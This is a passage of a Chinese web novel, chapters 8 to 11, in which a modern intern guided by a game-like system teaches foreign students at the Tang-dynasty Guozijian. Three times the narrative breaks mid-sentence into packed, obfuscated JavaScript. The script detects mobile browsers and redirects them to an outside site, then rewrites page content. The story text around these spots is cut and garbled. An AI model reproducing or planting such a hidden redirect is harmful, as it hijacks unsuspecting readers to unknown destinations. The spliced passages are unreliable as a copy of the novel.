站在门外深呼吸好几次,白果差点儿就想再次贴在门上偷听,这群学生会不会偷偷说她坏话?好吧,这样显然不大符合一位名师的气质。 低头抚平没有褶皱的衣袖,她又清清嗓子,再次在脑海里回想自己的开场白。俗话说,初次见面非常重要,她企图向所有学生营造一个完美教师印象。 指尖刚刚碰触到木门,这门就从里面被人推开,一人捂着胸口疾步而出,眼角挂着泪水,俨然一副心痛如绞的模样。 从她面前闪过,直接没了踪影。 回过神来的白果有些震惊:等等,这是被欺负了?还有没有王法了,开学第一天就欺负同学! 瞬间感到怒火中烧,也不管什么初印象,直接一脚踹开门,望着底下乱成一锅粥的学生们,大声吼道:“都给我安静下来!我在国子监门口就听见你们的声音了,整个年级就你们班最吵!” 整个房间寂静一瞬,突然有人高高举起手,操着满是口音的汉话道:“夫子!秘密话,我刚刚和朋友说的,您耳朵接收到了吗?” 他话音刚落,就有人哧哧笑他的口音,两个明显不同民族的学生瞬间成了对立面,又开始吵起来。 …… 【系统:您的学生在开学第一天就哭着离开教室,请查明事件原因,并安抚学生情绪。】 【Tea:真是别开生面的教师开场白。】 别以为她听不懂阴阳怪气。 8. 第 8 章 【系统:您目前遇见了突发情况】 【出门安抚哭泣学生[中臣明代]】or【留在班级趁机树立班威】 【系统:请注意,学员仅有十秒时间做出选择,否则将为您随机选择】 去安抚学生?不行,如果现在出去,整个讲堂的形势将变得更乱,估计会从对骂升级为对打,那么国子监就要在她手里出现史无前例的开学第一课。 视线在剩余人群中扫视一圈,除了明显是跳脱性子在对骂的几人外,其余大部分都没有参与进去,只是这大部分也分为:劝架的、偷摸吃糕点的、还有直接闭眼睡大觉的。 眉头又是狠狠一跳。 将目前情况大致分析后,白果在心中默默记下了每位学生的举动,以后都用得上。 余光瞥见唯一比较熟悉的学生,也就是坐在靠窗位置的小野篁:脸色依旧苍白,似乎整个人都游离在现实之外,以一种旁观者的冷漠视角来观察周遭乱哄哄的环境。 估计是看起来就十分高冷、不近人情,身边有个偷吃糕点的把本来想分享的手默默缩回去。 注意到白果的视线,他缓缓抬眸,黑白分明的瞳孔中满是警惕。这回倒是和初见那面不大相同,没了伤病带来的生理性脆弱,唯留下向外攻击的利刃。白果又感到头皮发麻,点头示意后急忙移开目光。 她生出点儿逃避心理,也想自己跑出门躲躲,但同样明白,如果现在不好好解决,整个班级从此以后就毫无秩序可言。即便在正式上任前做好了心理建设,但真的面对这一切时又显得力不从心起来。 【学员选择[留在班级树立班威]选项,[中臣明代]心理健康线暂时关闭】 【注:请注意[中臣明代]心理问题,此学生状况较为特殊】 看来等她解决完这里的事情后,还需抽出午休时间去看看那人。直觉告诉她,那绝对又是个难搞的家伙。倒不是说会违反课堂纪律的硬茬,更像是脆弱易碎的玻璃人?也不知道她的形容究竟准不准,来自教师的神奇的第六感。 当然,此时的白果也从未曾预想到自己会遇见那样的抓马事件。 未来暂且不提,她拿起戒尺用力敲击桌板,发出清脆声响。 “咚、咚、咚。” 吵闹声停顿几秒,不约而同看向讲堂上被忽略许久的夫子。只见她从袖袋中掏出几张五颜六色的、闪着金光的贴纸,沉声道:“谁最先安静下来端正坐好,就奖励一个小红花贴纸,集齐足够贴纸就会有礼物兑换,至于礼物是什么先暂且不说。” 末了,她又补充一句: “哦对,还有从未见过的世界美食任君挑选。” 能进国子监的学生都在鸿胪寺学过一段时间基础汉语,可以进行简单交流。并且智商不低,算是普通人中的佼佼者。 她特意放缓语气,尽量让所有人都可以听清楚。 话音刚落,本来乱糟糟的教室瞬间安静下来。 做得好有小红花,甚至还可以兑换奖励,何曾听过有如此好的夫子!从小受到的教育大多以呵斥和体罚为主,本以为这位女师也会选择同样的方法,不过这确实听起来更有吸引力一些。 白果见效果不错,打算乘胜追击。 直接走下讲台,把第一朵小红花贴在小野篁的位置上,扬起头朗声道:“这位同学在最开始就一直保持着良好的学习态度,希望同学们向他学习。” 小野篁抬眸看了眼身前的夫子,然后摸摸自己额头上被贴着的小红花,没有说话。 身旁有人伸长脑袋去瞧夫子送出的第一朵小红花,左摇右晃一会儿,终于瞥见那花的模样:亮晶晶的,中间用黄色圆圈圈出一个“奖”字,怎么看都有趣极了。 在白果的视线即将转移到他身上时又猛地坐直身子,眨巴着眼睛充满希冀地瞧着,那模样简直是把“我很乖”写在脸上。 他确实有副极具迷惑性的长相,生得一副圆润脸庞,双眸似星,闪烁着狡黠光芒,举手投足间满是生机活力,机灵劲儿十足。 白果可不吃这一套,她记得就是这个学生最先笑出声,同样也是对骂最积极的那一个,完全就是搞事领头羊。而且还有两个小弟簇拥着他,看起来倒是威风得狠。 明晃晃的三人小团体。 一般这种学生需要分散开座位,讲台两边的左右护法就是最适合的地方。 当然,作为新时代讲文明懂礼貌的新型教师,白果不会选择那么简单暴力的方法,要学会迂回战术。 脚步一顿,她笑眯眯问:“这位同学,可以向我介绍你的名字吗?” 他微微瞪大眼睛,反应过来后十分自信地站起身,原地转悠一圈,向在场每个人都展示一番自己的帅气身姿,这才缓缓道:“瓦达西名为纪长谷雄,喜欢东西很多,最感兴趣的是有趣、恶作剧玩具,如果弟弟惹出不好事情,直接来寻找我。各位同学,请多多指教。” 两个小弟十分负责地鼓掌,倒是营造出不小声势。 纪长谷雄回答完问题后没有直接坐下,继续用充满期盼的眼神盯着白果,准确来说是盯着她手中的小红花贴纸,直接问:“夫子,可以给我了吗?” 十分具有自我意识,喜欢不断表现自己个性的孩子,有一些领导能力,但是吃喝玩乐那方面的领导。是个班级矛盾制造者,在关键时刻也会是班级凝聚力的中心人物。 凭着对方这一连串的表现,白果在心中推断出一个形象,感觉能在学生时代找到很多个这样的影子,不过还需进一步考量。 【系统:面对如此跳脱的学生,该如何树立好第一印象?】 当然是——打一个巴掌再给个甜枣。 她眯起眼睛笑了笑,直视着他的双眼,压低语气,似笑非笑地反问一句:“给你,给你什么?” “小红......” 他话还没说完就被厉声打断。 “你的汉话十分不标准,一句能有三个发音问题,并且语序不通,句式杂糅,处处是语病,这么多的问题怎么让我给你小红花?” 白果深呼吸一口气,步步紧逼,音量愈说愈大,持续输出,“在我进入讲堂后,是谁说话最多,又是谁嘲笑别人的口音,拉起课堂矛盾,还不知悔改?纪长谷雄同学,你让给我怎么表扬你呢?” 整个讲堂鸦雀无声,所有人都注视着这一幕,也都对这位看似好脾气的夫子产生新的印象,比较恐怖的那种。 两个小弟想为他打抱不平,不过都没有站起来直面老师怒火的勇气。 “我...我......” 纪长谷雄下意识想要反驳,又不知从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735568|174085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何说起,来自教师天然的威压让他又隐约察觉到:如果自己再反驳,可能会被继续骂。 那还是算了,撇撇嘴,他决定从现在开始讨厌这个夫子。 话锋一转,白果收回刚刚批评的语气,拿了个小红花贴纸粘在他额头上,在他惊讶的目光中扬起嘴角笑着说道:“但纪长谷雄同学非常勇敢,是第一个自我介绍的同学。口音虽然有些小问题,但已经很棒了。” “老师相信你可以正确认识并改正自己的错误,做个更好的同学,为整个班级做表率。” 白果拍拍他的肩旁,“是不是,纪长谷雄同学?” “......是?” “那就向刚刚那位同学道歉吧,老师相信你。” 被一套又一套话术弄得晕头转向的纪长谷雄道了歉,说句私密马赛后也得到对方的和解。 “啊?原来刚刚是在笑我吗?” 看样子这位同学的超绝钝感力也值得关注一下。 白果咳嗽两声,率先鼓起掌,在全班的掌声中,纪长谷雄头一次红了耳垂,明明没被批评,为什么会感觉这么奇怪。 算了算了,还是先暂且不讨厌这个夫子了。 他摸摸额头的小红花贴纸,得意洋洋地高昂着头,像是只战胜公鸡。瞥了眼依旧默不作声的小野篁,哼,他的小红花可是最好看的! 看着重新恢复和平的班级,白果长舒口气,总算解决矛盾了,不用被国子监的其他同僚看笑话。她可知道,那些人还在背后蛐蛐自己。 【系统:恭喜玩家成功解决开学第一课·[口音嘲笑矛盾]——已为您正式开启学员信息】 【系统:+5分】 眨眼间,每位学生头上都亮出一些数值:血量、精力、心理健康。 【系统:请学员注意学生各项指标是否正常,并即使调整教学策略与目标】 【系统:国子监教学之路正式开启,请注意您与同僚、上司之间的关系,良好的人际交往可以带来更多好处】 这么看起来就更像是个游戏了。 关闭透明面板,视线在学生中一扫而过,除了受过伤的小野篁外,其余学生血量大都是满格。只是有一人——白果在他身上停留几秒,为什么会有人的血量在不停增增减减? 暗中把这个学生的名字记下,等有机会去太医署看看吧。 重新站回讲堂中央,她做了个正式的自我介绍:“在下白果,字希言,邯郸人士。蒙圣上恩典,现任国子监直讲。日后便由我来指点教导汉学,愿同心协力,共同进步。” 这段她向贺知章抄的,因为自己实在想不出什么好词好句。 终于进入了开学第一课必备环节:让每位学生进行自我介绍。还没等她指定人选开始,坐在最后排沉默寡言许久的一人忽然举起手,带着几分思考良久后的犹豫,“夫子,中臣明代,花枯萎,他很难过。” 白果点点头,询问他的名字。 “我叫……高丽广山。” 说完后又像个闷葫芦似的,紧抿着唇,悄悄把头缩进臂弯,那浑身的紧张情绪简直要溢出来。明明是个大个子,这副样子倒展现出十足反差。 “很好,懂得关心同学,下课记得找我要个小红花。” 差点儿就把那个家伙忘记了。 9. 第 9 章 蜷缩着身体,把自己隐藏在树影之中,盯着石板路上排成长队搬家的蚁虫,看样子是要下雨了。鼻尖嗅到空气中的潮湿气味,还有风吹过树叶的味道,本来还算温和的日光被乌云笼罩,也同样把躲藏在阴影中的他抓住。 不喜欢这种天气,那意味着浸入骨髓的湿气…又有些喜欢这种天气,那同样也意味着整个世界都淋到同样一场雨,与自然是平等存在的关系。 人,为何总是如此矛盾的存在。 “为什么要蹲在这里呢,中臣同学?” 有人撑着油纸伞从远处走来,身影模糊。他没有回话,只是自顾自伸出手,感受着掌心片刻的湿润,开始下雨了。 雨滴穿透过每一片树叶落在身上,浸湿了发梢,落在泥土里迸发出奇异气味。忽然又没有那么讨厌雨天,只是想闭着眼直接躺在这片土地,和万物一同腐烂生长。 伞尖倾斜,为他遮住自然的甘霖。 慢慢抬起头,眼眶微红,衣袖沾染泥土,整个人看上去有些狼狈。 那人轻声问:“是遇见什么麻烦了吗?” 他闭上眼,像是在追忆什么难以忘怀的过去,“……我的花,枯萎了。” 那人沉默良久,从伞尖滴落的雨珠练成长串珍珠砸在石板地面,他能听清雨落在水洼时的碰撞声,啪嗒啪嗒,是他最喜欢的曲目。 这世上会不会有某株嫩芽在雨中寂寥死去,亦或者,又有新的生命从土壤中绽放。如此循环往复的人间,他仿佛看见了许多许多,潮起潮落,虚无缥缈一片,心脏再次感到阵痛,泪水顺着脸庞滴落,和雨水相融。 “怎么又哭了?” 那人无奈叹口气,将手帕递去,缓缓说道:“我虽不知你的花如何,但却知道你再坐在这里,定是要染上风寒。” 他没吭声,也没接过手帕,继续在雾气飘渺中保持着怜悯谦卑的伤感。 一只强有力的大手直接把他从地上提溜起来,眼泪还挂在脸上,对这种从未有过的突发状况反应有些许呆滞。 只见这人皮笑肉不笑地看着他,用满是威胁的语气说:“如果你也不想在这里枯萎,就乖乖听话跟我回讲堂,听懂没有?” 她可不是国子监那些娇滴滴的夫子,有的是力气来对付学生,尤其是这种听不懂人话的。 “嗯……” 有气无力地应了一声,就这么被拎着扔回讲堂,此时已是下学时间,因着下雨,稍微提前一会儿。 推开讲堂木门,里面还有几位学生:小野篁、高丽广山、和一个印象不是很深刻的名叫“石川道”的学生。 她一共负责15名学生,其中十个是日本官方派送的遣唐使,剩余五个分别来自波斯和阿拉伯国家。虽说也是讲课夫子,但总体职责更偏向于班主任。 果然,东亚孩子自古以来都很卷。 白果在心中感慨两句,也没太在意这些学生为什么不去吃饭,转身把浑身湿漉漉的中臣明代拽进教室。 他踉踉跄跄几步,靠在墙边,雨水顺着发丝滴落在地。手中被塞进一张手帕,见他还是不动作,白果直接拿起手帕使劲儿搓了搓他的头顶。 这傻孩子,死犟啊。她可不想开学头两天就出事,那肯定会影响每月评估成绩,心中生出淡淡的烦躁。 像是感应到什么,他扭过头,紧抿着唇默不作声。 见到此幕,高丽广山站起身,僵直着后背一步步走到已经有些无奈的白夫子身旁,他毕恭毕敬道:“夫子,让我来吧。” 从自己腰间扯出一块干净帕子,动作比白果娴熟几分。轻轻拭去中臣明代脸上依旧不停歇的泪水,用日语低声安抚着说:“你的花只是有些水土不服,等过上几日,等它适应了长安的气候就会好起来了。” “……雨落花荫下,远方旅人的声音,随水流逝吧。” 哀哀念了段俳句,他又蹲在地上,像是一只忧郁的蘑菇。这一番操作并未让高丽广山乱了阵脚,他也蹲下身,继续用日语劝说,显然是有过充足的解决经验。 这边,听完小Tea翻译后的白果皱皱眉,不愧是系统认定的心理特殊学生,比想象中还要难以捉摸。从刚刚那段短时间的相处来看,像是个高敏感、甚至可以说有些佛性的悲观型人格。 有点儿难搞,绝对需要重点监护的那种。 让高丽广山带着忧郁蘑菇回斋舍换衣服,虽说已经是快入夏的时节,但淋上这么一场大雨还是容易感冒。 在古代生病可是个麻烦事,更别提中臣明代看起来就单薄瘦弱,配上他那双无欲无求的死鱼眼,总觉得下一秒就要驾鹤西去。 望着两人离去的背影,她这才松口气。高丽广山是个靠谱的,由他看照总归放心些。 又解决完一件麻烦事,但没听见系统提示加分,是不是自己哪步出了差错。 【Tea:学员不必过于依赖系统评分。】 不,她十分需要,这关系到她的实习奖金。 【Tea:带有目的性的行为无法被系统判定】 那么如何界定目的和真心呢?再者,既然设定了每月积分考核制度,不就是在有意去引导让她干这些事情。虽说她的出发点是为了钱,但也把该干的事都干了。 还是说,一定要塑造成“蜡炬成灰泪始干”的无私教师才可以吗……她讨厌把任何职业扣上无比光辉的高帽。 还讨厌自己的师范专业。 明明从没有当老师的意愿,但父母都是老师,最为重要的一点:“女孩子当老师好嫁人”。就这么稀里糊涂报上这个专业,成为教师预备役。 腐朽的“好嫁风”能不能彻底从世界消失。 【Tea:……服务器繁忙,请稍后再试。】 小Tea直接放弃战斗,让白果不免失笑,她干嘛和智能AI较劲儿。 只是来到这里这么久,每天都努力克制自己的言行举止,生怕一个不留神就被系统判定为不良行为。 不能和无辜npc吵架,又不能玩手机放空心情,就这么憋着憋着,让整个人都烦躁起来。 吵完架后倒是舒畅多了,才发觉自己还没吃哺食呢,据陆象先的小道消息:今天食堂有炙羊肉可以吃,每月不定时供应的稀罕物。 和羊肉串的做法差不多,取肥瘦相间的嫩羊肉,将肉切成寸许见方的小块,接着用各种调料腌制半个时辰。取出竹签穿羊肉,最后置于炭火之上缓缓炙烤即可。 那股霸道香味已经传遍整个国子监,让人垂涎三尺,腹中倍感饥饿。 白果将自己唯一的手帕塞进袖袋,可算糊弄完今天的工作,刚想迈出门的轻快步伐被身后呼喊声叫停,那是对于干饭人来说最为恐怖的声音。 “夫子,我有问题不懂。” 【系统:请认真倾听每一位学生的问题,做一名好教师。】 如果她装作没听见,直接跑去吃饭会怎样? 【Tea:根据学员的问题,答案是:会扣10分】 在炙羊肉和奖金之间犹豫两秒,默默缩回脚,白果努力控制自己脸上和蔼的表情,转过身看向忽然提问的石川道,问:“怎么了,石川同学?” 不对啊,她后知后觉想起来:今天只是让每位同学做个简单的自我介绍,并没有留课后作业……所以他在奋笔疾书写着什么呢? 带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他说:“夫子,很抱歉,我在介绍时没有说兴趣。” “这并无大碍,况且你的介绍也很不错。” 他沉默半晌,终于说出自己隐藏已久的问题,声音里带着几分急切。 “夫子,我不知道怎么找到兴趣,能再给我时间吗?” “……当然。” 石川道点点头,那浑身僵硬的身子也松了不少,又拿起笔写写画画。依旧坐得挺直,目光坚定,仿佛自己在书写着这世上最为珍贵的史书。 【系统:[石川道]心理健康线已开启,请学员注意该生状况】 【系统:首次解答学生问题,+3分】 屋外的雨势渐渐变小,檐角高翘,雨水顺着青瓦缓缓滑落,滴答作响。她撑着油纸伞站在屋檐下,暗自思索着什么……要是这双鞋湿了,明天又该怎么上班,毕竟她只有一双鞋。 有人迈步走到她身旁,同样撑着伞,侧头看去,是刚刚从讲堂走出的小野篁。 同样也抬起头,望着雨,似是轻叹般说道:“我也有问题想要请教白夫子。” “遇到了什么难题吗?” 她生出几分好奇。 “……很难,现在的我还无法解答。”小野篁扭头注视着白果的双眸,清晰倒映出自己的影子,嗓音依旧沙哑,“或许未来某天,我会在你身上找到答案。” 说完这话后轻轻点头道别,乘着朦胧雨雾离开。 好神秘的感觉,按照套路来讲,这人身上绝对隐藏着什么不可告人的秘密。 白果晃晃脑袋,先不想这些了,腹中饥饿感愈发强烈,炙羊肉还在等着她呢! 蹚着雨水冲到食堂,空荡荡的屋子里还能嗅到一丝肉香余韵,很好,今天的免费员工餐没有蹭到。 打饭大叔朝她挥挥手,说贺知章特意吩咐留一份炙羊肉给她。 眼睛瞬间亮起的白果大口吃着羊肉,在心中呐喊:贺导师,我要永远追随你! 10. 第 10 章 清晨卵时,铃声在屋内响起,床上躺着的人并未睁眼,于是便又响了几次,声音像是炸弹爆炸前的倒计时,步步紧逼。让好不容易入睡的白果猛地睁开眼,伸手关了闹钟。 捂着因惊醒而猛烈跳动的心脏,缓了好一会儿才颤悠悠道:“把铃声换掉,知不知道清晨是最容易猝死的时候。” 【Tea:请学员不用担心,所有铃声设置都是符合人体机能唤醒要求的,并且在培训时为您全程监控心率。对于您的反馈表示抱歉,已更换为更加[自然舒适]的起床铃声。】 没去理会AI毫无诚意的道歉,掀开被子,她赤脚站在床上向房梁处张望。什么都没有,仅能看见那么几张蜘蛛网与积攒已久的灰尘。 究竟会是什么东西一直在晚上说悄悄话。 从初来那天到现在,她没睡过一个好觉,就算是鬼也不能做一只这么没有良心的鬼吧?揉揉眼睛,白果下定决心,打算今天晚上好好潜伏一番,抓住这只不讲鬼德的“阿飘”。 【Tea:温馨提示,您的同僚陆象先已在门口等候。】 下一秒,就听见陆象先活力满满的声音,他先是敲了敲门,清清嗓子朗声道:“晨光熹微,君安否?” 吱呀,木门被人从里面推开,露出一张憔悴无比、挂着黑眼圈的面容,胡乱扎着的发丝残留几滴水珠。她抬头望了眼黑漆漆的天空,有气无力地回应一句:“君已入土,隔日再安。” 陆象先的手中握着几颗青枇杷,见白果这副无精打采的模样,问道:“昨日向白娘子说的‘蹭车’一事,不知现在可否记得?” 正蔫哒哒的白果勉强扬起个笑容,她从没有笑不露齿的讲究,总是可以从她脸上看出各种情绪变化,颇为生动。 就比如说这个时候,可以从她脸上看出一丝尴尬和讨好意味。 时间还要回到昨日下班, 白果撑伞站在屋檐下,望着依旧没有停歇的雨,考虑许久该怎么回家。这雨真是不知趣,明明刚刚已经停歇了,可偏偏要在下班时继续。她盯着门口停放的两架马车,又在心中默默仇富:这世上的有钱人那么多,就不能再算上她一个吗? 交谈声从身后传来,雨滴打碎了文字,听不真切具体的谈话内容,只是能察觉到语调不算轻松,甚至称得上有些紧张。 不是很想在下班时间和同僚见面的白果左右张望一番,选择躲到一旁槐树的树杈上,三两下爬上去,动作敏捷,像是只野猴子。她现在倒是十分放飞自我,感觉烦躁时就在自家后院的枇杷树上爬来爬去,练就臂力的同时还可以舒缓压力,简直就是一举两得的好事。 【Tea:AI是永远不可能代替人类的,最起码在这方面不能。】 几人的谈话声渐渐接近,透过叶片向下看去,竟是几位熟人:陆象先、贺知章还有经常在背后蛐蛐她的李林甫。 “明日盛宴,希望那位白夫子勿要缺席。” 说这话的人身形瘦削,声音语调极为婉转,似乎说出的每个字都经过细细揣摩,让人听着身心舒坦,可这话中明里暗里都是嘲讽。这就是李林甫的计谋了,嘴里说着阴阳怪气的话来贬人,却偏偏还没法对峙,只能自我麻痹当听不懂,培养职场钝感力。 但那是高情商会有的做法,白果她一个实习生才不管这些呢。 从树枝上一跃而下,正好落在侃侃而谈的李林甫面前,把人吓得连连后撤几步,纸伞从手中滑落,在雨中颇为狼狈。陆象先没忍住笑出声,李林甫听见这笑声更为恼火,哆哆嗦嗦伸手指着白果,呵斥道:“你一个小娘子,好端端在树上干甚?!” 白果不理会他,自顾自拍拍衣服上的灰,站起身也指着他反问道:“你一个小小男人,在背后唧唧歪歪干甚?!” 两人本就身高相似,她今日又穿了个增高鞋垫,刻意缓缓低头瞧着对方,挑衅意味明显。 “你你你!” 啧啧啧,男人那芝麻粒大小的自尊心。 李林甫的脸色瞬间变成五颜六色彩虹糖,为了维持人设又不敢直接动怒,闷哼几声,显得窝囊极了。这下连贺知章也没忍住,捂嘴轻咳两下,示意白果不要做得太过。 接收到导师信息,白果撤回了嘲讽,将地上掉落的纸伞捡起递过去,语气诚恳,眼神清澈,“对不起,最近在练习高情商,冒犯到您十分抱歉,我相信李大人不会和小女子计较吧?不会吧?” 这一番阴阳怪气把李林甫气得够呛,他也不傻,知道现在不是继续回怼的好时机,等明日...等到明天他定要好好搓一搓这个不知天高地厚的小娘子的锐气。 大袖一挥,并未接过白果递来的油纸伞,非要倔强淋着雨,扭身径直走到自己马车旁,童子急忙上前毕恭毕敬地搬好小板凳,他登上马车,似有若无地瞥了眼白果,这就是来自他们“阴险狡诈反派”干坏事前的特写。谁成想这人完全不按套路出牌,直勾勾盯着他,注意到他这精心一眼后露出个怪异的微笑。 嘶,难不成她已知晓自己明天要干的事了?不愧是走后门进来的,看着没什么心机,背地里不知还有多少龌龊手段。不成,回去要换个计谋,他急忙督促车夫回家,同时在脑海里一幕幕闪回刚刚发生的一切,愈想愈觉得脊背发凉。 李林甫不由得在心中暗骂几句,他怎么就放松警惕,被这装出来的愚蠢面目骗了过去。 另一边,望着马车离去的背影,白果伸手捅了捅身旁陆象先,道:“我赌赢了,他绝对会回头偷看我一眼,并且眼神中藏着三分歹毒三分冷酷和四分漫不经心。” 就在刚刚,他们两个闲人打了个赌,若是白果赢了,便可蹭马车回家。当然,若是她没赢,也可蹭车,只不过需要缴费五文而已。 瞧着那落荒而逃的李林甫,陆象先这下是真忍不住捧腹大笑,笑得十分畅快,他连连点头,伸手掀开车帘,学着那童子的模样也毕恭毕敬道:“在下学疏才浅,比不得白夫子,愿赌服输,快请上车吧。” 耶,不用蹚水走回家,保住了她这唯一一双鞋。 踩着板凳踏入马车内,里面除了笑而不语的贺导师外还有另一人。 她下意识抬眸看去。 这人身若修竹,眉间正气凌然,目若寒潭秋水,清澈见底。见白果进来后颔首见礼,举手投足间自有礼韵,眸光若星,明澈摄人,令人不敢直视,却又为其风骨所倾。没料到此幕的白果立马收住还在咧嘴笑的嘴角,规规矩矩坐在角落里,不敢说话。 贺知章给了她个眼神,莫名联想到逢年过节父母逼着自己向亲戚问好的场景。 还没把要说的话琢磨明白,白果脑子一抽,尬笑着道:“好巧,没想到能在这里遇见张司业,今日晡食的炙羊肉味道鲜美,不知张司业可曾尝过?” “...未曾。” “那真是可惜。”干巴巴继续说道:“等下次,也让贺监丞帮您留下一份。” 快住口,她究竟在说些什么乱七八糟的东西。闭上眼,开始幻想自己并不存在,耳边无法忽略的轻笑让她尴尬地挠了挠脸颊。都怪她这性格,跟熟人尚且可以贫嘴几句,遇见个半生不熟的温泉蛋蛋人就开始抓瞎,嘴和脑子完全对不上账。 说起这张司业,想来都不陌生,正是那写出“海上升明月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735570|174085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,天涯共此时”,被誉为开元盛世最后一位名相的张九龄。年纪比贺知章要小上几岁,却已坐到国子司业的位置,在群英荟萃的盛唐时期也能算得上是天才般的人物。 或者说,她身边的每个人都能算得上是天才。毕竟能在史书中留下自己印记的人,都绝非等闲之辈。 和响当当的历史人物接触总会带有些滤镜和惶恐,白果也不例外,即便这只是个虚拟世界。 陆象先登上车,将身上湿气抖落,瞧着车内怪异的氛围,又瞥了眼把头缩进墙角挠空气的白果,眼珠子一转,心中有了主意,忍俊不禁道:“张司业莫怪,白夫子怕生得狠,应是你周身不近人情的气质把她吓住了。” 什么!才不是!别乱说啊! “别怕,张司业虽看上去不好惹,实际上——”看热闹不嫌事大的陆象先憋住笑,顿了顿,迎着白果好奇的目光小声道:“非常不好惹,千万别在他面前说悄悄话。” 气氛安静几秒,只能听见车轮转动碾过雨水的声响。 “哦对了,他就是张宅主,租给咱们延寿坊房子的张宅主,记得打好关系。” 终于说完所有废话,陆象先从腰间抽出折扇摇了摇,一脸高深莫测的模样。 张九龄:...... 白果:......来个人把他杀了吧。 人在尴尬的时候会假装自己很忙,在脑内想了一圈该怎么破局,但无解。 用手指扣着坐垫,余光无意间瞥见摆弄袖口的张九龄,显然也对陆象先这番逗弄感到无所适从。忽地觉得那来自历史的厚重屏障破碎几分,她鼓起勇气,本想说几句好话缓解气氛,可这嘴和脑又没对上账。 开口道:“好巧,怪不得你们都姓张。” 张九龄愣了两秒,抿唇点头。 “那确实是挺巧的,哈哈哈。” 陆象先收起折扇,再次大笑出声,连带着身旁的贺知章也一同笑了起来。并不觉得很巧的张九龄已经将衣袖整理数遍了,虽是经常领悟到这两人的玩笑揶揄,他依旧不大适应。 不过,微微侧头看向身旁恨不得“以头抢地尔”的白女郎,看样子以后有人可以替他分担些“战火”了。 这白女郎,倒和想象中不大一样。 马车停在延寿坊前, 回忆完昨天经历的白果皱起脸,困意全消,恨不得揪着陆象先的耳朵对骂。但她不敢,因为对方的官职比她大,更别提这人还可肆意向司业、监丞开玩笑,绝对有什么隐藏的大身份,许是扮猪吃老虎也说不准呢。 官大一级压死人。 昨日回到延寿坊,陆象先良心发现,主动提出可以让白果蹭车一月。本来压抑的火气顷刻间消散,如果你惹毛了我,那么我就会变得毛茸茸。 对着陆象先露出个假笑,有便宜不占王八蛋。 故而今日卵时,两人一同前去国子监。 踩着板凳踏进马车,她打了个哈切,透过帷裳向外看去,黑漆漆的,没什么人影,整个长安城还在沉睡之中,鼻尖可以闻见淡淡的槐花香气。 对面坐着的陆象先正闭目养神,他不说话时倒顺眼许多,白果翻了个白眼,想要趁此来报昨日之仇。谁知他瞬间睁开眼,似笑非笑地盯着她,就在白果忍不住想要滑跪道歉时。 他直接掀开车帘,缓缓道:“女郎若是有气,今日便可发泄出来。” 马车停住,车外喧哗声打破了黑夜的寂静。 她听出个熟悉声音,似是李林甫......还有几个正犟嘴的委屈嗓音。 探头向外看去,果不其然,是她的学生。 11. 第 11 章 夜间斋舍内,烛火摇曳,听得窃窃私语。 从窗棂处可以模糊看见三颗脑袋躲在被褥里说着悄悄话。 端着烛台的小弟一号用手指了指他的额头,提醒道: “老大,你额头上的小红花翘边了。” 纪长谷雄微微皱起眉,纠正对方的错误:“别瞎说,这叫荣耀的象征。” 他伸手摸了摸自己的额头,实际上他今日已经装作不经意间抚摸额头数次,还好这花是机器印刷出来的,要不早就被摸掉色了。 这可是要兑换礼物的重要物品呢。 想到夫子说的神秘礼物,作为老大的他终于回忆起本次会议的正题,那就是——关于可持续获得夫子小红花以开启神秘奖品议题。 “......哈?”小弟二号从嗓子里挤出个音节。 “怎么?有意见,还是说吉祥你有更好的会议名称?” 纪长谷雄用来自老大充满威压的目光看去。 名叫吉祥的小弟二号不由得闭上嘴,默默想着:明明就是有很多奇怪的地方好吧。 先不提白夫子完全是为了制服你的傲气才给小红花,再者,那所谓的神秘奖品可能就是用来糊弄人的,究竟什么样的人会相信这些。 奖品小红花什么的,听起来就不靠谱,到时候知道礼物是考试就老实了。这些人究竟都在想些什么美事,能不能不要拉上他。 好困,想睡觉......在脑海中闪过几万字吐槽分析,津守吉祥露出个疲惫的笑容,摇摇头小声道:“没有。” 还是不说了,反正以谷雄的智商可能根本听不懂。或者说,就算他听懂了,以他那副老大风范,也绝不可能承认自己的错误。 见小弟们没有意见,纪长谷雄打算继续推进会议步骤,视线忽然一黑,烛火已然被人吹灭。 “欸?原来这么容易吹灭啊,老大,我看不见了。” 一道声音惊呼道。 纪长谷雄:.......惠日这家伙究竟是故意的还是不小心的? 吹灭蜡烛的真凶打了个哈切,说话已经开始口齿不清:“老大,夜安。” 话音刚落,他就直接闭眼睡了过去,发出沉闷呼吸声。 眼巴巴瞅着河边惠日已经进入香甜睡眠,津守吉祥轻咳两声,试探着明知故问道:“还继续吗?” “罢了,你们真是‘成事不足’。”纪长谷雄自顾自摇摇头,还特意展示了自己的汉语水平,最后只能宣布会议暂时终止,等明日夜里子时再继续吧。 他也闭上眼,只一瞬就睡着了。 唯留下躺在中间瞪大双眼的津守吉祥,左耳是纪长谷雄如雷鸣般的呼噜声,右耳是河边惠日嘿嘿傻笑的梦话…… 后悔了,就不应该跟这两人来大唐学习。 